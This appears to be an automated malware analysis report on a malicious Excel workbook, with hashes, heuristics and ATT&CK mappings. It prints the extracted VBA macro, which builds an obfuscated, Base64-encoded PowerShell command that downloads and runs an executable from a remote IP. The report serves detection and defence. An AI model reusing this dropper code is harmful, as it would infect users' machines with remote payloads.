Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 61ae0a472ea5b3fe…

MALICIOUS

Office (OOXML)

10.1 KB Created: 2021-07-24 13:18:53 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-14
MD5: 5033fb2ba7dcde089e0c682117ee4c04 SHA-1: 3c77a605aa7003e2160948ee6ad1afe34a86f49e SHA-256: 61ae0a472ea5b3feb4309f7ba81c3c36b420e22728e88fccfe545588d0031ae3
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Office document containing VBA macros that are designed to execute a PowerShell command. The PowerShell command is obfuscated using Base64 encoding and is responsible for downloading and executing a second-stage payload from the URL 'http://13.92.100.208/dx.c/doc.exe'. The macro also attempts to save the workbook before execution, likely to ensure the payload is dropped to a predictable location.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2129 bytes
SHA-256: e9c83915c0642891979f0b4481771189390a5662e7cbac740b0709ff3e434be2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim enc As String
enc = "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBDAGMAZwBtAGsAawBrAHIAagBuAGQAbwBxAGgAdABkAHIALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAxADMALgA5ADIALgAxADAAMAAuADIAMAA4AC8AZAB4AGMALwBkAG8AYwAuAGUAeABlACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA="
call1 = "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"
ActiveWorkbook.Save
batch = "Qrfyjukxvmnr.bat"
Open batch For Output As #1
    Print #1, "start /MIN C:\Windo" + "ws\SysWOW64\" + call1 + " -win 1 -enc " + enc
    Close #1
    i = Shell(batch, 0)
End Sub

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub


Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub

Attribute VB_Name = "????1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6144 bytes
SHA-256: 03cae1b8174008b522a2b86fda960d8661bb222ca62087eb4a3c987535496d95

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